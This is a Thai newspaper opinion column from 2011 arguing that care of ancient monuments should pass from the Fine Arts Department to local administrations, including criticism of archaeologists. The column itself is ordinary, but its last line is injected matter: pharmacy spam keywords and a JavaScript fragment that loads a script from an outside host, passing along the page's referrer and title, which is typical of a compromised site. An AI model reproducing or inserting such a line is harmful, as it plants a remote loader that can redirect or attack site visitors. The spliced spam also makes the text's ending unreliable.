มติชนรายวัน ฉบับประจำวันอังคาร ที่ 3 พฤษภาคม 2554

กรมศิลปากร แถลงว่าโบราณสถานสำคัญๆของไทย 297 แห่ง มีความเสี่ยงพังทลาย เพราะอยู่บนรอยเลื่อน 13 แห่ง ที่จะเกิดแผ่นดินไหวได้ทุกเวลา (มติชน ฉบับวันอาทิตย์ที่ 17 เมษายน 2554 หน้า 1)

โบราณสถานที่ไม่อยู่บนรอยเลื่อน แต่กระจายอยู่ในชุมชนท้องถิ่นทั่วประเทศ นับหมื่นๆแห่ง จะทำนุบำรุงดูแลรักษาอย่างไร? ถ้าไม่ถ่ายโอนอำนาจให้ชุมชนท้องถิ่นบริหารจัดการ

เพราะปกติแล้วราชการโบราณคดีก็ไม่มีปัญญาจะดูแลทั่วถึง จึงปล่อยปละละเลยทิ้งขว้างพังเพไปมากต่อมาก

“อยากให้กรมศิลปากร ปรับแนวคิดและปรับปรุงความสัมพันธ์กับองค์กรปกครองส่วนท้องถิ่น และคนในท้องถิ่น” นายชาตรี อยู่ประเสริฐ เลขาธิการสมาคมองค์การบริหารส่วนจังหวัดแห่งประเทศไทย บอกกับผู้สื่อข่าว(มติชน ฉบับวันพุธที่ 20 เมษายน 2554) แล้วอธิบายเพิ่มเติมว่า

“อย่ามองว่า อปท. และคนท้องถิ่นขาดศักยภาพ ความชำนาญ ไม่มีความรักโบราณสถานเหมือนที่กรมศิลปากรเคยกล่าวหาว่าคนพระนครศรีอยุธยาไม่รักโบราณสถาน การกล่าวหาแบบยกตนข่มท่านไม่เป็นผลดีต่อการพิทักษ์โบราณสถานของประเทศ เป็นการสร้างความสัมพันธ์แบบไม่สร้างสรรค์ ไม่เป็นการแสวงหาแนวร่วมในการพัฒนา”

“ล่าสุด ในแผนปฏิบัติการกระจายอำนาจลงสู่ อปท. ฉบับที่ 2 กรมศิลปากรระบุเงื่อนไขว่า งานที่จะถ่ายโอนให้ อปท. มี 2 หน้าที่ คือ 1. การเก็บขยะในพื้นที่โบราณสถาน และ 2. การตัดหญ้าในเขตโบราณสถาน อีกทั้งบอกว่า อปท. ไม่มีศักยภาพ ประเด็นนี้ทำให้เราเจ็บช้ำมาก เมื่อขอให้ช่วยเราก็ช่วย เป็นการยืนยันว่าเรามีศักยภาพมากกว่าที่กรมศิลปากรประเมิน บุคลากรของ อปท. มีทั้งกองช่าง ฝ่ายโยธา วิศวกร คนงานต่างๆ รวมถึงอุปกรณ์ เครื่องจักร ที่จะช่วยพิทักษ์โบราณสถานของชาติได้ ที่สำคัญเรามีความสัมพันธ์อันดีต่อคนในชุมชน ซึ่งพร้อมดูแลสมบัติของชาติ และ อปท. พร้อมทำหน้าที่รับการถ่ายโอนอำนาจแบบเบ็ดเสร็จโดยเฉพาะด้านงานพื้นฐานทั่วไป ส่วนงานด้านสถาปัตยกรรมโบราณคดีก็พร้อมช่วย แต่ให้นักวิชาการและนักโบราณคดีของกรมศิลปากรกำกับดูแลเช่นเดิม”

นายชาตรีกล่าวต่อไปว่า ได้พบโบราณสถานบางแห่งควรได้รับการดูแลบูรณะโดยด่วน แต่กรมศิลปากรอ้างไม่มีงบฯ จนปล่อยทิ้งร้าง ในประเด็นนี้หากมีการถ่ายโอนอำนาจ ท้องถิ่นสามารถตั้งงบฯ เข้าดำเนินการได้ โดยมีนักวิชาการและนักโบราณคดีของกรมศิลปากรกำกับดูแลงานด้านสถาปัตยกรรมหรือศิลปกรรม หากทำได้ก็จะเป็นประโยชน์ต่อส่วนรวมมากขึ้น

แท้จริงแล้วงานประวัติศาสตร์โบราณคดีทั่วไป(ที่ไม่ใช่กรณีพิเศษ ต้องใช้เทคโนโลยีชั้นสูง) ชุมชนท้องถิ่นมีศักยภาพมากพอจะดูแลรักษาได้

ปกตินักโบราณคดีประวัติศาสตร์ศิลป์ กรมศิลปากร ก็จ้างเหมาให้ผู้รับเหมาท้องถิ่นทำงานบูรณปฏิสังขรณ์ในกำกับดูแลอยู่แล้วทั่วประเทศ ได้เงินทอนกันไปก็มี นี่ไงศักยภาพของชุมชนท้องถิ่นมีจริง

พูดกันตรงไปตรงมา งานของนักโบราณคดีที่ทำไว้เสียหายมีมากมาย แต่คนทั่วไปจับไม่ได้ไล่ไม่ทันต่างหาก พวกโบราณคดีประวัติศาสตร์ศิลป์เลย“ตีขลุม”ร่วมกันปกปิดความจริงไว้ แต่ช้างตายทั้งตัว ใบบัวปิดไม่มิด

โดยเฉพาะอย่างยิ่งงานประวัติศาสตร์ท้องถิ่น ควรโอนให้ชุมชนท้องถิ่นบริหารจัดการศึกษาค้นคว้าวิจัยด้วยตนเอง ไม่ใช่ส่วนกลางหวงไว้ทำเองหมด ทั้งๆไม่ประสีประสากับชื่อบ้านนามเมืองความเป็นมาชุมชนท้องถิ่นนั้นๆ

ที่น่าวิตกคือนักการเมืองท้องถิ่น อ้างประชาชน หรือ“จ้างม็อบ”ขัดขวางการออกกฎหมายคุ้มครองสิ่งแวดล้อมบริเวณโบราณสถาน เช่น เมืองโบราณ ด้วยข้ออ้างต่างๆนานาที่เสกสรรปั้นแต่งขึ้น

แต่แท้จริงตัวเองมีที่ดินจะทำธุรกิจส่วนตัว 

fluoxetine pmdd generic cialis 20 mg canada s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;